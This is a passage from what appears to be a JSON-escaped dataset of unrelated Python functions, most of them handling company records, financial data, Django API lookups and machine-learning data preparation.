self.__transactions[\\\"Ticker\\\"] == ticker,\\n [\\\"Sector\\\", \\\"Industry\\\", \\\"Country\\\", \\\"Region\\\"],\\n ]\\n .isnull()\\n .values.any()\\n ):\\n # Get ticker info in list [\\\"Sector\\\", \\\"Industry\\\", \\\"Country\\\", \\\"Region\\\"]\\n info_list = [\\\"-\\\", \\\"-\\\", \\\"-\\\", \\\"-\\\"]\\n\\n # Replace fields in transactions\\n self.__transactions.loc[\\n self.__transactions.Ticker == ticker,\\n [\\\"Sector\\\", \\\"Industry\\\", \\\"Country\\\", \\\"Region\\\"],\\n ] = info_list\",\n \"def prepare_data(self):\\n\\n # Get days abbrs and month names lists\\n self.month_names = cal_data.get_month_names()\\n self.month_names_eng = cal_data.get_month_names_eng()\\n self.days_abrs = cal_data.get_days_abbrs()\\n\\n # Today date\\n self.active_date = cal_data.today_date_list()\\n # Set title\\n self.title = \\\"%s - %s\\\" % (self.month_names[self.active_date[1] - 1],\\n self.active_date[2])\\n\\n # Quarter where current month in the self.quarter[1]\\n self.get_quarter()\",\n \"def _load_companies(self):\\n if os.path.exists(self.PATH_TO_COMPANY_FILES + '/Companies.csv'):\\n df = pd.read_csv(self.PATH_TO_COMPANY_FILES + '/Companies.csv')\\n self.Symbols = list(df['Symbol'])\\n self.FullNames = list(df['FullName'])\\n self.CSVNames = list(df['CSVName'])\\n self.sectors = list(df['Sector'])\\n self.companies = df\\n \\n return\",\n \"def feed_company_from_db1(output_data, domain):\\n companyfl = CompanyFromdb1.objects.using('db1').filter(\\n company_domain__iexact=domain,\\n active=1\\n )[0]\\n\\n if companyfl.company_name:\\n output_data['name'] = companyfl.company_name\\n\\n if companyfl.company_phone:\\n output_data['phone'] = companyfl.company_phone\\n\\n if companyfl.company_website:\\n analyzed_url = urlparse(companyfl.company_website)\\n if analyzed_url.netloc and analyzed_url.scheme:\\n website_url = \\\"%s://%s\\\" % (\\n analyzed_url.scheme,\\n analyzed_url.netloc\\n )\\n elif analyzed_url.netloc and not analyzed_url.scheme:\\n website_url = analyzed_url.netloc\\n else:\\n website_url = analyzed_url.path\\n output_data['website_url'] = website_url\\n\\n if (companyfl.company_size and\\n company_size_mapping_dict.get(companyfl.company_size)):\\n output_data['size'] = company_size_mapping_dict.get(\\n companyfl.company_size\\n )\\n\\n if companyfl.company_remarks:\\n output_data['description'] = (\\n companyfl.\\n company_remarks.\\n replace('\\\\n', ' ').\\n replace('\\\\r', '')\\n )\\n\\n if companyfl.company_social:\\n output_data['linkedin_url'] = companyfl.company_social\\n\\n if companyfl.sectors:\\n output_data['industries'] = companyfl.sectors.split(u'§')\\n\\n if companyfl.profiles:\\n output_data['types'] = companyfl.profiles.split(u'§')\\n\\n if companyfl.updated_on:\\n output_data['last_updated'] = companyfl.updated_on\\n\\n # only retrieving email if email_status=VAL and row was updated less than\\n # 365days ago\\n if companyfl.company_email_status == \\\"VAL\\\" and companyfl.updated_on:\\n duration_in_days = (timezone.now() - companyfl.updated_on).days\\n if duration_in_days <= 365:\\n output_data['email'] = companyfl.company_email\\n\\n if companyfl.street_name and companyfl.city and companyfl.country:\\n # TODO: if street_number or postcode are None, we do not add it but it\\n # leaves 2 spaces...find a way to solve it intelligently\\n output_data['formatted_address'] = \\\"%s %s, %s %s, %s\\\" % (\\n companyfl.street_number if companyfl.street_number else '',\\n companyfl.street_name,\\n companyfl.postcode if companyfl.postcode else '',\\n companyfl.city,\\n companyfl.country.country_name\\n )\\n\\n return output_data\",\n \"def prepare_data(self):\\n import subprocess\\n # Download coco data set into dir specified by config then /data/coco\\n subprocess.call([f\\\"{get_original_cwd()}/bin/fetch_dataset.sh\\\", f\\\"{self.dir}/data/coco\\\", f\\\"{get_original_cwd()}\\\"])\\n # subprocess.call([f\\\"bin/fetch_dataset.sh\\\", f\\\"{self.dir}/data/coco\\\"])\\n task = \\\"instances\\\" if self.instance else \\\"person_keypoints\\\"\\n register_coco_instances(\\\"train\\\", {}, f\\\"{self.dir}/data/coco/{task}_train2014.json\\\",\\n f\\\"{self.dir}/data/coco/train2014\\\")\\n register_coco_instances(\\\"val\\\", {}, f\\\"{self.dir}/data/coco/{task}_minival2014.json\\\",\\n f\\\"{self.dir}/data/coco/val2014\\\")\\n register_coco_instances(\\\"test\\\", {}, f\\\"{self.dir}/data/coco/{task}_valminusminival2014.json\\\",\\n f\\\"{self.dir}/data/coco/val2014\\\")\",\n \"def setup_data(es_with_collector):\\n country_uk = constants.Country.united_kingdom.value.id\\n country_us = constants.Country.united_states.value.id\\n uk_region = constants.UKRegion.south_east.value.id\\n CompanyFactory(\\n name='abc defg ltd',\\n trading_names=['helm', 'nop'],\\n address_1='1 Fake Lane',\\n address_town='Downtown',\\n address_country_id=country_uk,\\n uk_region_id=uk_region,\\n )\\n CompanyFactory(\\n name='abc defg us ltd',\\n trading_names=['helm', 'nop', 'qrs'],\\n address_1='1 Fake Lane',\\n address_town='Downtown',\\n address_country_id=country_us,\\n registered_address_country_id=country_us,\\n )\\n es_with_collector.flush_and_refresh()\",\n \"def make_companies():\\n logging.info(\\\"Making CH\\\")\\n companies_address = get_address()\\n companies_sector = get_sector()\\n\\n companies = (\\n companies_address[[\\\"company_number\\\", \\\"postcode\\\"]]\\n .merge(\\n companies_sector.query(\\\"rank==1\\\")[[\\\"company_number\\\", \\\"SIC4_code\\\"]],\\n on=\\\"company_number\\\",\\n )\\n .assign(division=lambda x: [c[:2] for c in x[\\\"SIC4_code\\\"]])\\n .assign(division_name=lambda x: x[\\\"division\\\"].map(_DIV_NAME_LOOKUP))\\n .merge(nspl, left_on=\\\"postcode\\\", right_on=\\\"pcds\\\")\\n )\\n\\n return companies\",\n \"def _store_company_info(self, company_info):\\n def add_node_company(tx, *args, **kwargs):\\n props = ', '.join('c.' + prop + ' = $' + prop for prop in kwargs.keys())\\n tx.run('MERGE (c: Company {{rc: $rc}}) '\\n f'ON CREATE SET {props}', *args, **kwargs)\\n\\n def add_node_person(tx, *args, **kwargs):\\n props = ', '.join('(p: Person {name: \\\"' + name + '\\\"}' + ')' for name in kwargs['p_name'])\\n tx.run(f'MERGE {props}', *args, **kwargs)\\n\\n def add_rela_works_in(tx, *args, **kwargs):\\n tx.run('MATCH (c: Company {name: $c_name}), (p: Person) '\\n 'WHERE p.name in $p_name '\\n 'MERGE (p)-[:WORKS_IN]->(c)', *args, **kwargs)\\n\\n with self._DRIVER.session() as session:\\n representatives = company_info.pop('repr')\\n session.write_transaction(add_node_company, **company_info)\\n session.write_transaction(add_node_person, p_name=representatives)\\n session.write_transaction(add_rela_works_in, p_name=representatives, c_name=company_info['name'])\",\n \"def retrieve_company_data(self):\\n self.set_stock_sym_append_str('')\\n self.set_stock_retrieval_type('all') #'all', watcher\\n self.load_stock_symbol_fr_file()\",\n \"def create_company(list_of_data):\\n ID = common.generate_random(list_of_data)\\n user_input = ui.get_inputs(list_labels, title)\\n user_input.insert(0, ID)\\n list_of_data.append(user_input)\\n with open(\\\"company/company_data.csv\\\",\\\"w\\\") as f:\\n for i in range(len(list_of_data)):\\n row = ','.join(list_of_data[i])\\n f.write(row + '\\\\n')\",\n \"def __init__(self, name, **company_data):\\n self.name = name\\n self.__dict__.update(company_data)\",\n \"def _match_fields(self):\\n\\n data = {\\n 'user': self.user,\\n 'name': self.data['Company Name'].lower(),\\n 'address': self.data['Mailing Address'].lower(),\\n 'city': self.data['Mailing City'].lower(),\\n 'state': self.data['Mailing State'].lower(),\\n 'zipcode': self.__parse__('zipcode'),\\n 'phone': self.__parse__('phone'),\\n 'first_name': self.data['Executive First Name'].lower(),\\n 'last_name': self.data['Executive Last Name'].lower(),\\n 'title': self.data['Executive Title'].lower(),\\n 'profile': self._get_profile(),\\n 'sales_volume': self.data['Location Sales Volume Range'],\\n 'employee_count': self.__parse__('employee_count'),\\n 'origin': 'C' # cold call\\n }\\n Company(**data).save()\\n return len(data);\",\n \"def __init__(self, path):\\n self.csv_path = path\\n # check if csv format is valid or not\\n self.check_valid_csvformat(self.csv_path)\\n \\\"\\\"\\\" empty dict to store all company names\\n prepare initial company data in dictionary format \\\"\\\"\\\"\\n self.company_data = dict()\",\n \"def generate_company_library():\\n\\n companyids = generate_company_list()\\n counter = 0\\n companyids = companyids[counter:]\\n\\n for id in companyids:\\n print(counter,\\\"generating\\\", id + \\\".csv\\\")\\n try:\\n update_data(id)\\n except:\\n pass\\n counter += 1\",\n \"def create_company_df(companies):\\n\\n companies = list(set(companies)) # removes duplicates\\n\\n symbols = []\\n exchanges = []\\n ynames = []\\n is_us = []\\n\\n for company in companies:\\n sym, exch, yco, usa = check_usa_mkts(get_company_info(company))\\n symbols.append(sym)\\n exchanges.append(exch)\\n ynames.append(yco)\\n is_us.append(usa)\\n\\n marketcaps = []\\n sizes = []\\n urls = []\\n urls_pr = []\\n\\n for sym, co in zip(symbols, companies):\\n if sym == \\\"n/a\\\":\\n print(f\\\"Skipping {co}\\\\n\\\")\\n marketcaps.append(\\\"n/a\\\")\\n sizes.append(\\\"n/a\\\")\\n urls.append(\\\"n/a\\\")\\n urls_pr.append(\\\"n/a\\\")\\n continue\\n\\n print(f\\\"Checking {co} [{sym}]\\\")\\n marketcap = get_market_cap(sym)\\n size = id_company_size(marketcap)\\n url = get_company_url(sym)\\n url_pr = get_press_release_page(url)\\n\\n marketcaps.append(marketcap)\\n sizes.append(size)\\n urls.append(url)\\n urls_pr.append(url_pr[0])\\n\\n print(\\\"Search complete\\\")\\n\\n df = pd.DataFrame(\\n {\\n \\\"Company\\\": companies,\\n \\\"Yahoo Listed Co.\\\": ynames,\\n \\\"Symbol\\\": symbols,\\n \\\"Exchange\\\": exchanges,\\n \\\"Market Cap\\\": marketcaps,\\n \\\"Company Size\\\": sizes,\\n \\\"Is American\\\": is_us,\\n \\\"Home URL\\\": urls,\\n \\\"Press Release URL\\\": urls_pr,\\n }\\n )\\n\\n return df\",\n \"def _prepare_data(self):\\n #TODO hardcoded values need to change\\n print_info(\\\"Preprocessing the train data...\\\")\\n self._place_dataset(os.path.join(self._hparams[\\\"temp-data\\\"], \\\"train\\\"),\\n self.TRAIN_OUT_PATH)\\n\\n print_info(\\\"Preprocessing the test data...\\\")\\n self._place_dataset(os.path.join(self._hparams[\\\"temp-data\\\"], \\\"test\\\"),\\n self.TEST_OUT_PATH)\\n\\n print_info(\\\"Preprocessing the validation data...\\\")\\n self._place_dataset(os.path.join(self._hparams[\\\"temp-data\\\"], \\\"val\\\"),\\n self.VAL_OUT_PATH)\",\n \"def __init__(self):\\n\\n\\n f = open(datapath + '/Data/companylist.csv', 'r')\\n\\n\\n for line in f:\\n reg = line.split(',')\\n if reg[0] != 'Symbol':\\n if reg[0] not in self.cnames:\\n self.cnames[reg[0]] = [reg[1], reg[2], reg[3], reg[4].strip()]\\n else:\\n if reg[4].strip() != 'ASX':\\n self.cnames[reg[0]] = [reg[1], reg[2], reg[3], reg[4].strip()]\",\n \"def fill_record_for_company(conn, symbol):\\n # call APIs\\n info = get_company_info_for(symbol)\\n # insert new record into db\\n insert_company(conn=conn,\\n symbol=symbol,\\n name=info[0][\\\"name\\\"],\\n exchange=info[0][\\\"exchangeShortName\\\"])\",\n \"def __init__(self, client_id, login_details, data_set=None):\\n self.schema = login_details['company_schema']\\n data = self.get_details(client_id)\\n self.name = data[1]\\n self.id = data[0]\\n self.sort_code = data[2]\\n self.data_set = data_set\\n self.default_email = self.get_default_email()\",\n \"def company_v1(request):\\n domain = request.GET.get(\\\"domain\\\")\\n output_data = {}\\n feed_company_from_db1_is_ok = 0\\n\\n if domain:\\n\\n domain = domain.lower()\\n if domain.startswith(\\\"www.\\\"):\\n domain = domain.replace(\\\"www.\\\", \\\"\\\")\\n\\n try:\\n\\n output_data = feed_company_from_db1(output_data, domain)\\n feed_company_from_db1_is_ok = 1\\n\\n try:\\n\\n output_data = company_addition_from_db2(output_data, domain)\\n\\n except IndexError:\\n\\n if not feed_company_from_db1_is_ok:\\n\\n try:\\n\\n output_data = feed_company_from_clearbit(\\n output_data=output_data,\\n domain=domain\\n )\\n\\n except IndexError:\\n\\n try:\\n\\n clearbit_company = clearbit_api.get_company(domain)\\n\\n except:\\n # Not sure which exceptions I could get from\\n # Clearbit's Python lib.\\n # I know I could get a KeyError if I'm trying\\n # to access a json field that Clearbit put in\\n # his docs but forgets to put in the response\\n # (actually not anymore because I'm retrieving\\n # the dict values with .get() now).\\n # But I don't know which error it would give me\\n # if api call gives me an error like a http 500\\n # error.\\n # Sometimes if Clearbit does not find a company\\n # it raises a 422 http error (validation error\\n # which should only happend for malformed domain\\n # names) instead of just returning none...\\n\\n api_access_logging(\\n request,\\n \\\"company\\\",\\n domain,\\n \\\"404\\\",\\n \\\"2\\\",\\n \\\"1\\\"\\n )\\n return Response(\\n {\\n \\\"error_code\\\": \\\"2\\\",\\n \\\"detail\\\": errors_for_customers[\\\"2\\\"]\\n },\\n status=status.HTTP_404_NOT_FOUND\\n )\\n\\n if clearbit_company:\\n\\n output_data = feed_company_from_clearbit(\\n output_data=output_data,\\n cbcompany=clearbit_company\\n )\\n\\n else:\\n\\n api_access_logging(\\n request,\\n \\\"company\\\",\\n domain,\\n \\\"404\\\",\\n \\\"2\\\",\\n \\\"1\\\"\\n )\\n return Response(\\n {\\n \\\"error_code\\\": \\\"2\\\",\\n \\\"detail\\\": errors_for_customers[\\\"2\\\"]\\n },\\n status=status.HTTP_404_NOT_FOUND\\n )\\n\\n except IndexError:\\n\\n try:\\n\\n output_data = feed_company_from_clearbit(\\n output_data=output_data,\\n domain=domain\\n )\\n\\n except IndexError:\\n\\n try:\\n\\n clearbit_company = clearbit_api.get_company(domain)\\n\\n except:\\n\\n api_access_logging(\\n request,\\n \\\"company\\\",\\n domain,\\n \\\"404\\\",\\n \\\"2\\\",\\n \\\"1\\\"\\n )\\n return Response(\\n {\\n \\\"error_code\\\": \\\"2\\\",\\n \\\"detail\\\": errors_for_customers[\\\"2\\\"]\\n },\\n status=status.HTTP_404_NOT_FOUND\\n )\\n\\n if clearbit_company:\\n\\n output_data = feed_company_from_clearbit(\\n output_data=output_data,\\n cbcompany=clearbit_company\\n )\\n\\n else:\\n\\n api_access_logging(\\n request,\\n \\\"company\\\",\\n domain,\\n \\\"404\\\",\\n \\\"2\\\",\\n \\\"1\\\"\\n )\\n return Response(\\n {\\n \\\"error_code\\\": \\\"2\\\",\\n \\\"detail\\\": errors_for_customers[\\\"2\\\"]\\n },\\n status=status.HTTP_404_NOT_FOUND\\n )\\n\\n else:\\n\\n api_access_logging(\\n request,\\n \\\"company\\\",\\n domain,\\n \\\"400\\\",\\n \\\"3\\\",\\n \\\"1\\\"\\n )\\n return Response(\\n {\\n \\\"error_code\\\": \\\"3\\\",\\n \\\"detail\\\": errors_for_customers[\\\"3\\\"]\\n },\\n status=status.HTTP_400_BAD_REQUEST\\n )\\n\\n # Check that user plan allows this request.\\n if not customer_throttling_checked(request, domain):\\n\\n api_access_logging(\\n request,\\n \\\"company\\\",\\n domain,\\n \\\"402\\\",\\n \\\"5\\\",\\n \\\"1\\\"\\n )\\n return Response(\\n {\\n \\\"error_code\\\": \\\"5\\\",\\n \\\"detail\\\": errors_for_customers[\\\"5\\\"]\\n },\\n status=status.HTTP_402_PAYMENT_REQUIRED\\n )\\n\\n api_access_logging(\\n request,\\n \\\"company\\\",\\n domain,\\n \\\"200\\\",\\n None,\\n \\\"1\\\"\\n )\\n return Response(output_data)\",\n \"def data_preparation(self) -> None:\\n self.logger.info('data cleaning')\\n self.logger.info('num of secs: {}, num of ipo_dates: {}, num of secs with prices: {}'.format(\\n len(self.data),\\n len(self.ipo_dates),\\n len(self.prices)\\n ))\\n excluded = []\\n excluded = [i.lower() for i in excluded]\\n self.logger.info(f'number of excluded: {len(excluded)}')\\n for i in excluded:\\n self.data.pop(i)\\n for s in self.data:\\n # columns with empty assets sum (empty columns and other situations)\\n self.data[s].dropna(axis='columns', how='any', subset=['A_0'], inplace=True)\\n # columns with descriptions (polish and english names of values)\\n self.data[s].drop(self.data[s].columns[[0, 1]], inplace=True, axis=1)\\n\\n self.logger.info(f'number of secs after cleaning: {len(self.data)}')\\n data_list = [k for k in self.data.values()]\\n self.uber_data = pd.concat(data_list, ignore_index=True, axis=1)\\n self.uber_data = self.uber_data.transpose()\\n self.uber_data = self.uber_data.loc[:, pd.notnull(self.uber_data.columns)]\",\n \"def _company(self, uid=1):\\r\\n company = self.env['res.company'].browse(uid)\\r\\n return {\\r\\n 'journal': company.pledge_journal.id,\\r\\n 'product': company.pledge_product,\\r\\n 'account': company.pledge_receipt_account.id,\\r\\n 'property_account_income': company.pledge_product.property_account_income_id,\\r\\n }\",\n \"def __init__(self, company_id):\\n self.company_id = company_id\",\n \"def test_website_companies_get_details(self):\\n pass\",\n \"def get_data_from_individual_company_pages(soup):\\n individual_company_data = []\\n usd_roe = get_usd_roe()\\n company_code = (\\n soup.find(\\\"meta\\\", {\\\"name\\\": \\\"description\\\"}).get(\\\"content\\\").split(\\\":\\\")[0]\\n )\\n current_price_usd = float(\\n soup.find(\\\"span\\\", {\\\"class\\\": \\\"price-section__current-value\\\"}).text.replace(\\n \\\",\\\", \\\"\\\"\\n )\\n )\\n current_price = round(current_price_usd * usd_roe)\\n try:\\n p_e_ratio = float(\\n soup.find(\\n \\\"div\\\", {\\\"class\\\": \\\"snapshot__header\\\"}, string=\\\"P/E Ratio\\\"\\n ).previous_sibling.replace(\\\",\\\", \\\"\\\")\\n )\\n except AttributeError:\\n p_e_ratio = 0\\n\\n try:\\n week_52_low = float(\\n soup.find(\\\"div\\\", {\\\"class\\\": \\\"snapshot__header\\\"}, string=\\\"52 Week Low\\\")\\n .previous_sibling.strip()\\n .replace(\\\",\\\", \\\"\\\")\\n )\\n except AttributeError:\\n week_52_low = 1\\n\\n try:\\n week_52_high = float(\\n soup.find(\\\"div\\\", {\\\"class\\\": \\\"snapshot__header\\\"}, string=\\\"52 Week High\\\")\\n .previous_sibling.strip()\\n .replace(\\\",\\\", \\\"\\\")\\n )\\n except AttributeError:\\n week_52_high = 0\\n\\n unreal_profit_per_year_percent = round((week_52_high / week_52_low - 1) * 100, 2)\\n\\n individual_company_data.append(\\n [company_code, current_price, p_e_ratio, unreal_profit_per_year_percent]\\n )\\n\\n company_df = pd.DataFrame(\\n columns=[\\\"company_code\\\", \\\"current_price\\\", \\\"P_E\\\", \\\"potential_profit_percent\\\"]\\n )\\n company_df = company_df.append(\\n {\\n \\\"company_code\\\": company_code,\\n \\\"current_price\\\": current_price,\\n \\\"P_E\\\": p_e_ratio,\\n \\\"potential_profit_percent\\\": unreal_profit_per_year_percent,\\n },\\n ignore_index=True,\\n )\\n\\n return company_df\",\n \"def setup_dd(self, company):\\n self.company = company\\n self.apr = .03\\n self.minimum_balance = 1000.0\",\n \"def prepare_data(self):\\n try:\\n self.train_dataset = self.datasets['train']\\n self.val_dataset = self.datasets['val']\\n try:\\n self.test_dataset = self.datasets['test']\\n except:\\n pass\\n except Exception as e:\\n print('Data was not succesfully prepared:', e)\",\n \"def company():\\n\\n company = Company.objects.create(name='Tre G.M.B.H.', country='Germany')\\n return company\",\n \"def company(self, company):\\n self._company = company\",\n \"def feed_company_from_db2(output_data, domain):\\n companyfc = CompanyFromdb2.objects.using('db2').filter(\\n domain__iexact=domain\\n )[0]\\n\\n if companyfc.founded:\\n output_data['founded'] = companyfc.founded\\n\\n if companyfc.name:\\n output_data['name'] = companyfc.name\\n\\n if companyfc.address:\\n output_data['formatted_address'] = \\\"%s, %s\\\" % (\\n companyfc.address,\\n french_to_english_country_mapping_dict.get(\\n companyfc.country,\\n companyfc.country\\n )\\n )\\n\\n if companyfc.telephone:\\n output_data['phone'] = companyfc.telephone\\n\\n if companyfc.website:\\n analyzed_url = urlparse(companyfc.website)\\n if analyzed_url.netloc and analyzed_url.scheme:\\n website_url = \\\"%s://%s\\\" % (\\n analyzed_url.scheme,\\n analyzed_url.netloc\\n )\\n elif analyzed_url.netloc and not analyzed_url.scheme:\\n website_url = analyzed_url.netloc\\n else:\\n website_url = analyzed_url.path\\n output_data['website_url'] = website_url\\n\\n if companyfc.size and company_size_mapping_dict.get(companyfc.size):\\n output_data['size'] = company_size_mapping_dict.get(companyfc.size)\\n\\n if companyfc.description:\\n output_data['description'] = companyfc.description.replace(\\n '\\\\n',\\n ' '\\n ).replace(\\n '\\\\r',\\n ''\\n )\\n\\n if companyfc.updated_on:\\n output_data['last_updated'] = companyfc.updated_on\\n\\n try:\\n companysocialprofilefc = CompanySocialProfileFromdb2.objects.using(\\n 'db2'\\n ).filter(\\n company__domain=domain\\n )[0]\\n output_data['linkedin_url'] = companysocialprofilefc.url\\n except IndexError:\\n pass\\n\\n return output_data\",\n \"def generate_portfolio_data(self):\\n self.__load_portfolio_historical_prices()\\n self.__populate_historical_trade_data()\\n self.__calculate_portfolio_returns()\\n self.__calculate_portfolio_performance()\",\n \"def clean_up_data(self):\\n pass\",\n \"def populate_dataframes(self, only_the_company_df=False, only_found_urls=False):\\n start = self.kvk_range_process.start\\n stop = self.kvk_range_process.stop\\n if self.kvk_range_process.selection is not None:\\n kvk_selection = self.kvk_range_process.selection\\n elif self.kvk_selection is not None:\\n kvk_selection = self.kvk_selection\\n else:\\n kvk_selection = None\\n\\n if self.rescan_missing_urls:\\n sql_command = f\\\"select {COMPANY_ID_KEY}, count(*)-count({BESTAAT_KEY}) as missing \\\"\\n sql_command += \\\"from web_site\\\"\\n sel, sql = read_sql_table(table_name=\\\"web_site\\\", connection=self.database,\\n variable=COMPANY_ID_KEY, lower=start, upper=stop,\\n sql_command=sql_command, group_by=COMPANY_ID_KEY)\\n missing = sel[sel[\\\"missing\\\"] > 0]\\n selection = list(missing[COMPANY_ID_KEY].values)\\n else:\\n selection = kvk_selection\\n\\n sql_table, sql_command = read_sql_table(table_name=\\\"company\\\", connection=self.database,\\n variable=KVK_KEY, datetime_key=DATETIME_KEY,\\n lower=start,\\n upper=stop, max_query=self.maximum_entries,\\n force_process=self.force_process,\\n older_time=self.older_time,\\n selection=selection)\\n self.company_df = sql_table\\n self.company_df.set_index(KVK_KEY, inplace=True, drop=True)\\n self.company_df.sort_index(inplace=True)\\n\\n # convert the timezone of the date/time stamp (which is stored in utc in sql) to our time\\n # note that you need to use the dt operator before converting the date/times\\n try:\\n self.company_df[DATETIME_KEY] = \\\\\\n self.company_df[DATETIME_KEY].dt.tz_convert(self.timezone)\\n except AttributeError:\\n logger.debug(\\\"Could not convert the date times in the company table. Probably empty\\\")\\n\\n if not only_the_company_df:\\n sql = None\\n var = None\\n sel = None\\n if selection is None:\\n sql = re.sub(\\\"from company\\\", \\\"from address\\\", sql_command)\\n logger.debug(f\\\"External sql command: {sql}\\\")\\n else:\\n var = KVK_KEY\\n sel = list(self.company_df.index.values)\\n\\n self.address_df, sc = read_sql_table(table_name=\\\"address\\\", connection=self.database,\\n sql_command=sql, variable=var, selection=sel)\\n if selection is None:\\n sql = re.sub(\\\"from company\\\", \\\"from web_site\\\", sql_command)\\n sql = re.sub(f\\\"where {KVK_KEY}\\\", f\\\"where {COMPANY_ID_KEY}\\\", sql)\\n sql = re.sub(f\\\"order by {KVK_KEY}\\\", f\\\"order by {COMPANY_ID_KEY}\\\", sql)\\n logger.debug(f\\\"External sql command: {sql}\\\")\\n else:\\n var = COMPANY_ID_KEY\\n self.website_df, sc = read_sql_table(table_name=\\\"web_site\\\", connection=self.database,\\n sql_command=sql, variable=var,\\n lower=start, upper=stop, selection=sel)\\n self.website_df.rename(columns={COMPANY_ID_KEY: KVK_KEY, URL_ID_KEY: URL_KEY},\\n inplace=True)\\n\\n self.website_df.loc[:, DISTANCE_STRING_MATCH_KEY] = None\\n\\n if only_found_urls:\\n url_selection = list(self.website_df[URL_KEY].values)\\n else:\\n url_selection = None\\n\\n self.url_df, sc = read_sql_table(table_name=\\\"url_nl\\\", connection=self.database,\\n variable=URL_KEY, selection=url_selection)\\n\\n self.url_df.set_index(URL_KEY, inplace=True, drop=True)\\n self.url_df.sort_index(inplace=True)\\n try:\\n self.url_df[DATETIME_KEY] = self.url_df[DATETIME_KEY].dt.tz_convert(self.timezone)\\n except AttributeError:\\n logger.debug(\\\"Could not convert the date times in the url table. Probably empty\\\")\",\n \"def feed_company_from_clearbit(\\n output_data,\\n domain=None,\\n cbcompany=None\\n):\\n if not cbcompany:\\n cbcompany = ClearbitCompany.objects.filter(domain__iexact=domain)[0]\\n\\n if cbcompany.founded_year:\\n # Need to cast to str because Clearbit formats it as\\n # an integer.\\n output_data['founded'] = str(cbcompany.founded_year)\\n\\n if cbcompany.name:\\n output_data['name'] = cbcompany.name\\n\\n if cbcompany.location:\\n output_data['formatted_address'] = cbcompany.location\\n\\n if cbcompany.phone:\\n output_data['phone'] = cbcompany.phone\\n\\n # Always have a domain.\\n output_data['website_url'] = \\\"http://%s\\\" % cbcompany.domain\\n\\n if cbcompany.metrics_employees_range:\\n output_data['size'] = cbcompany.metrics_employees_range\\n\\n if cbcompany.description:\\n output_data['description'] = cbcompany.description\\n\\n if cbcompany.indexed_at:\\n output_data['last_updated'] = cbcompany.indexed_at\\n\\n if cbcompany.linkedin_handle:\\n output_data['linkedin_url'] = \\\"https://www.linkedin.com/%s\\\" % (\\n cbcompany.linkedin_handle\\n )\\n\\n if cbcompany.category_sub_industry:\\n # cbcompany.category_sub_industry always contains 1 item\\n # but our output_data['industries'] should return a list\\n # so we put it in a list.\\n output_data['industries'] = [cbcompany.category_sub_industry]\\n\\n try:\\n # We have a list of emails in db but output_data['email']\\n # should only return 1 email so we take the first email in\\n # the list.\\n csea = ClearbitCompanySiteEmailAddress.objects.filter(\\n clearbit_company=cbcompany\\n )[0]\\n output_data['email'] = csea.email\\n except IndexError:\\n pass\\n\\n return output_data\",\n \"def new_df(companies_filtered):\\n name = []\\n city = []\\n latitude = []\\n longitude = []\\n zip_code = []\\n for i in companies_filtered:\\n name.append(i['name'])\\n try: \\n if i['offices'][0]['city'] == '':\\n city.append(np.nan)\\n else:\\n city.append(i['offices'][0]['city'])\\n latitude.append(i['offices'][0]['latitude'])\\n longitude.append(i['offices'][0]['longitude'])\\n except:\\n city.append(np.nan)\\n latitude.append(np.nan)\\n longitude.append(np.nan)\\n zip_code.append(np.nan)\\n dict_ = {'company' : name, 'city' : city, 'latitude' : latitude, 'longitude': longitude}\\n companies_df = pd.DataFrame.from_dict(dict_, orient='columns')\\n \\n return companies_df\",\n \"def company(self, company):\\n\\n self._company = company\",\n \"def company(self, company):\\n\\n self._company = company\",\n \"def _build_data(self):\\n licence_types = [('all', 'All')] + [(lt.pk, lt.display_name) for lt in LicenceType.objects.all()]\\n data = {\\n 'applications': {\\n 'columnDefinitions': [],\\n 'filters': {\\n 'licenceType': {\\n 'values': licence_types,\\n },\\n 'status': {\\n 'values': [],\\n }\\n },\\n 'ajax': {\\n 'url': ''\\n }\\n },\\n 'licences': {\\n 'columnDefinitions': [],\\n 'filters': {\\n 'licenceType': {\\n 'values': licence_types,\\n },\\n },\\n 'ajax': {\\n 'url': ''\\n }\\n },\\n 'returns': {\\n 'columnDefinitions': [],\\n 'filters': {\\n 'licenceType': {\\n 'values': licence_types,\\n },\\n },\\n 'ajax': {\\n 'url': ''\\n }\\n }\\n }\\n return data\",\n \"def prepare_data(self):\\r\\n annual_df = self.annual_df\\r\\n coef_df = self.coef_df\\r\\n quarter_df = self.quarter_df\\r\\n # historical_df = self.historical_df\\r\\n Event_Buffer = self.Event_Buffer\\r\\n\\r\\n Tot_Prod = coef_df[\\\"Product\\\"].nunique()\\r\\n # Tot_Week = coef_df[\\\"wk\\\"].nunique()\\r\\n Tot_Week = 52\\r\\n\\r\\n EDLP_Events = list(annual_df[\\\"RP_Events\\\"])\\r\\n Min_EDLP_Events = [\\r\\n i - Event_Buffer if i - Event_Buffer >= 0 else 0 for i in EDLP_Events\\r\\n ]\\r\\n Max_EDLP_Events = [\\r\\n i + Event_Buffer if i + Event_Buffer < Tot_Week + 1 else Tot_Week\\r\\n for i in EDLP_Events\\r\\n ]\\r\\n\\r\\n TPR_Events = list(annual_df[\\\"TPR_Events\\\"])\\r\\n Min_TPR_Events = [\\r\\n i - Event_Buffer if i - Event_Buffer >= 0 else 0 for i in TPR_Events\\r\\n ]\\r\\n Max_TPR_Events = [\\r\\n i + Event_Buffer if i + Event_Buffer < Tot_Week + 1 else Tot_Week\\r\\n for i in TPR_Events\\r\\n ]\\r\\n\\r\\n Target_EDLP_Spend = [i for i in annual_df[\\\"PPG_RP_Spend\\\"]]\\r\\n Target_TPR_Spend = [i for i in annual_df[\\\"PPG_TPR_Spend\\\"]]\\r\\n Target_Trade_Spend = [i for i in annual_df[\\\"PPG_Total_Spend\\\"]]\\r\\n\\r\\n Mapping = {}\\r\\n Prod_Ind = coef_df[\\\"Product\\\"][0:Tot_Prod]\\r\\n for i, j in zip(Prod_Ind.index, Prod_Ind.values):\\r\\n Mapping[j] = i\\r\\n Mapping_reverse = {i: j for j, i in Mapping.items()}\\r\\n\\r\\n constants = [i for i in coef_df[\\\"constant\\\"]]\\r\\n\\r\\n Cat_Coef = coef_df[\\\"Catalogue\\\"][0:Tot_Prod]\\r\\n\\r\\n Disp_Coef = coef_df[\\\"Display\\\"][0:Tot_Prod]\\r\\n\\r\\n Base_Price_stg1 = [i for i in quarter_df[\\\"Final_baseprice\\\"]]\\r\\n Intercepts_stg1 = []\\r\\n for pr in range(Tot_Prod):\\r\\n Intercepts_stg1.append(\\r\\n np.mean([constants[j * Tot_Prod + pr] for j in range(0, Tot_Week)])\\r\\n )\\r\\n\\r\\n Base_Price_stg2 = [[i] * Tot_Week for i in quarter_df[\\\"Final_baseprice\\\"]]\\r\\n Intercepts_stg2 = [\\r\\n constants[j : j + 